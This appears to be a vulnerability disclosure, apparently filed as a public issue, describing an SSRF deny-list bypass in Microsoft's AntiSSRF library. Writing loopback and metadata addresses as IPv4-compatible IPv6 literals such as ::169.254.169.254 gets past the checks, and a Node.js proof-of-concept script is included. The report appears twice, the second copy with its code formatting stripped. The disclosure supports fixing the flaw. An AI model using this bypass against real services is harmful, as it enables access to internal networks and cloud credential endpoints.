Hi,
Since MSRC marked this as out of scope, I think the following issue fits here.
Summary
Microsoft AntiSSRF blocks IPv4 CIDR ranges by storing them as IPv4-mapped IPv6 addresses, but it does not treat IPv4-compatible IPv6 literals the same way. An attacker who can choose the request URL can use forms like ::127.0.0.1 or ::169.254.169.254 to bypass the ExternalOnlyV1 and ExternalOnlyLatest deny-list checks.
Details
RFC 4291 §2.5.5 defines both IPv4-mapped and IPv4-compatible embedded IPv4 forms. AntiSSRF normalizes denied IPv4 CIDRs to mapped IPv6, but request-time parsing preserves compatible literals. In nodejs/src/Helpers/CIDRBlock.ts, _parseIPv4() creates ::FFFF: entries while _parseIPv6() preserves compatible addresses such as ::169.254.169.254. That means BlockList.check('::169.254.169.254', 'ipv6') does not match the deny-list entry for ::ffff:169.254.0.0/112.
In dotnet/src/Helpers/CIDRBlock.cs, CIDRBlock.Parse() maps denied IPv4 CIDRs with MapToIPv6(), but Contains() compares against ip.MapToIPv6() on already-IPv6 input. Compatible literals stay in the ::x.x.x.x form and miss the mapped deny-list bytes. Microsoft documents automatic tunneling for the ::/96 prefix as enabled by default on Windows, so the bypass remains exploitable on supported Windows deployments.
Illustration:
const { BlockList, SocketAddress } = require('net');
const bl = new BlockList();
bl.addSubnet('::FFFF:169.254.0.0', 112, 'ipv6');
const sa = new SocketAddress({ address: '::a9fe:a9fe', family: 'ipv6' });
console.log(bl.check(sa.address, 'ipv6')); // false
console.log(bl.check('::ffff:169.254.169.254', 'ipv6')); // true
Proof of Concept (PoC)
Prerequisites
Node.js v18+ and the AntiSSRF Node package built from the repository.
Setup
- Clone the repository:
git clone https://github.com/microsoft/AntiSSRF
- Install and build the Node package: cd AntiSSRF/nodejs && npm install && npm run build
Reproduction
Run this script from the nodejs directory.
The script enables plain HTTP on the policy so the reproduction exercises the IP allow/deny check instead of the default protocol guard.
node - <<'NODE'
const http = require('http');
const { AntiSSRFPolicy, PolicyConfigOptions } = require('.');
const port = 34567;
const server = http.createServer((req, res) => {
res.end('ok');
});
server.listen(port, '127.0.0.1', async () => {
const policy = new AntiSSRFPolicy(PolicyConfigOptions.ExternalOnlyLatest);
policy.allowPlainTextHttp = true;
const agent = policy.getHttpAgent({ keepAlive: false });
const request = (host) => new Promise((resolve) => {
const req = http.get({ host, port, path: '/', agent }, (res) => {
res.resume();
resolve(`response:${host}:${res.statusCode}`);
});
req.on('error', (err) => {
resolve(`error:${host}:${err.code || err.message}`);
});
});
console.log(await request('::ffff:127.0.0.1'));
console.log(await request('::127.0.0.1'));
server.close();
});
NODE
The mapped literal is rejected by AntiSSRF, while the compatible literal is allowed by AntiSSRF and then fails at the OS/network layer on the host.
Impact
An attacker who controls the request URL can bypass the ExternalOnly deny-list for loopback, IMDS, wireserver, and RFC1918 IPv4 targets by encoding them as IPv4-compatible IPv6 literals. The attacker gains access to internal network destinations that the library is meant to block.
Hi,
Since MSRC marked this as out of scope, I think the following issue fits here.
Summary
Microsoft AntiSSRF blocks IPv4 CIDR ranges by storing them as IPv4-mapped IPv6 addresses, but it does not treat IPv4-compatible IPv6 literals the same way. An attacker who can choose the request URL can use forms like
::127.0.0.1or::169.254.169.254to bypass theExternalOnlyV1andExternalOnlyLatestdeny-list checks.Details
RFC 4291 §2.5.5 defines both IPv4-mapped and IPv4-compatible embedded IPv4 forms. AntiSSRF normalizes denied IPv4 CIDRs to mapped IPv6, but request-time parsing preserves compatible literals. In nodejs/src/Helpers/CIDRBlock.ts,
_parseIPv4()creates::FFFF:entries while_parseIPv6()preserves compatible addresses such as::169.254.169.254. That meansBlockList.check('::169.254.169.254', 'ipv6')does not match the deny-list entry for::ffff:169.254.0.0/112.In dotnet/src/Helpers/CIDRBlock.cs,
CIDRBlock.Parse()maps denied IPv4 CIDRs withMapToIPv6(), butContains()compares againstip.MapToIPv6()on already-IPv6 input. Compatible literals stay in the::x.x.x.xform and miss the mapped deny-list bytes. Microsoft documents automatic tunneling for the::/96prefix as enabled by default on Windows, so the bypass remains exploitable on supported Windows deployments.Illustration:
Proof of Concept (PoC)
Prerequisites
Node.js v18+ and the AntiSSRF Node package built from the repository.
Setup
git clone https://github.com/microsoft/AntiSSRFReproduction
Run this script from the nodejs directory.
The script enables plain HTTP on the policy so the reproduction exercises the IP allow/deny check instead of the default protocol guard.
The mapped literal is rejected by AntiSSRF, while the compatible literal is allowed by AntiSSRF and then fails at the OS/network layer on the host.
Impact
An attacker who controls the request URL can bypass the ExternalOnly deny-list for loopback, IMDS, wireserver, and RFC1918 IPv4 targets by encoding them as IPv4-compatible IPv6 literals. The attacker gains access to internal network destinations that the library is meant to block.